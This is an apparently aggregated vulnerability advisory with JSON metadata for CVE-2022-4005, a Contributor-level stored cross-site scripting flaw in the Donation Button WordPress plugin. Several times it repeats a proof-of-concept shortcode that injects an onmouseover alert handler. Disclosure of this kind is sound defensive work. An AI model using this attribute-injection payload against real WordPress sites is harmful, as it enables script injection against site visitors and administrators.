Description
The plugin does not sanitize and escapes some parameters, which could allow users with a role as low as Contributor to perform Cross-Site Scripting attacks.
### PoC
Put the following shortcode in a blog post: [paypal_donation_button align='center" onmouseover="alert(1)']
Affected Software
Related
{"id": "WPVDB-ID:61D5C9B8-5C21-4AB5-B31C-E13CA19EA25C", "vendorId": null, "type": "wpvulndb", "bulletinFamily": "software", "title": "Donation Button <= 4.0.0 - Contributor+ Stored XSS", "description": "The plugin does not sanitize and escapes some parameters, which could allow users with a role as low as Contributor to perform Cross-Site Scripting attacks.\n\n### PoC\n\nPut the following shortcode in a blog post: [paypal_donation_button align='center\" onmouseover=\"alert(1)']\n", "published": "2022-11-16T00:00:00", "modified": "2022-12-05T15:47:46", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, "href": "https://wpscan.com/vulnerability/61d5c9b8-5c21-4ab5-b31c-e13ca19ea25c", "reporter": "Lana Codes", "references": [], "cvelist": ["CVE-2022-4005"], "immutableFields": [], "lastseen": "2022-12-15T20:10:04", "viewCount": 2, "enchantments": {"score": {"value": 2.5, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2022-4005"]}, {"type": "wpexploit", "idList": ["WPEX-ID:61D5C9B8-5C21-4AB5-B31C-E13CA19EA25C"]}]}, "epss": [{"cve": "CVE-2022-4005", "epss": "0.000450000", "percentile": "0.118270000", "modified": "2023-03-20"}], "vulnersScore": 2.5}, "_state": {"score": 1671136820, "dependencies": 1671136459, "affected_software_major_version": 1671136890, "epss": 1679352629}, "_internal": {"score_hash": "429c4c0f01a53fd496783ac5e11c46f2"}, "affectedSoftware": [{"version": "*", "operator": "eq", "name": "donation-button"}], "exploit": "Put the following shortcode in a blog post: [paypal_donation_button align='center\" onmouseover=\"alert(1)']", "sourceData": "", "generation": 0}
{"wpexploit": [{"lastseen": "2022-12-15T20:10:04", "description": "The plugin does not sanitize and escapes some parameters, which could allow users with a role as low as Contributor to perform Cross-Site Scripting attacks.\n", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2022-11-16T00:00:00", "type": "wpexploit", "title": "Donation Button <= 4.0.0 - Contributor+ Stored XSS", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2022-4005"], "modified": "2022-12-05T15:47:46", "id": "WPEX-ID:61D5C9B8-5C21-4AB5-B31C-E13CA19EA25C", "href": "", "sourceData": "Put the following shortcode in a blog post: [paypal_donation_button align='center\" onmouseover=\"alert(1)']", "cvss": {"score": 0.0, "vector": "NONE"}}], "cve": [{"lastseen": "2023-02-09T14:41:45", "description": "The Donation Button WordPress plugin through 4.0.0 does not sanitize and escapes some parameters, which could allow users with a role as low as Contributor to perform Cross-Site Scripting attacks.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2022-12-12T18:15:00", "type": "cve", "title": "CVE-2022-4005", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {}, "cvelist": ["CVE-2022-4005"], "modified": "2022-12-15T15:14:00", "cpe": ["cpe:/a:donation_button_project:donation_button:4.0.0"], "id": "CVE-2022-4005", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-4005", "cvss": {"score": 0.0, "vector": "NONE"}, "cpe23": ["cpe:2.3:a:donation_button_project:donation_button:4.0.0:*:*:*:*:wordpress:*:*"]}]}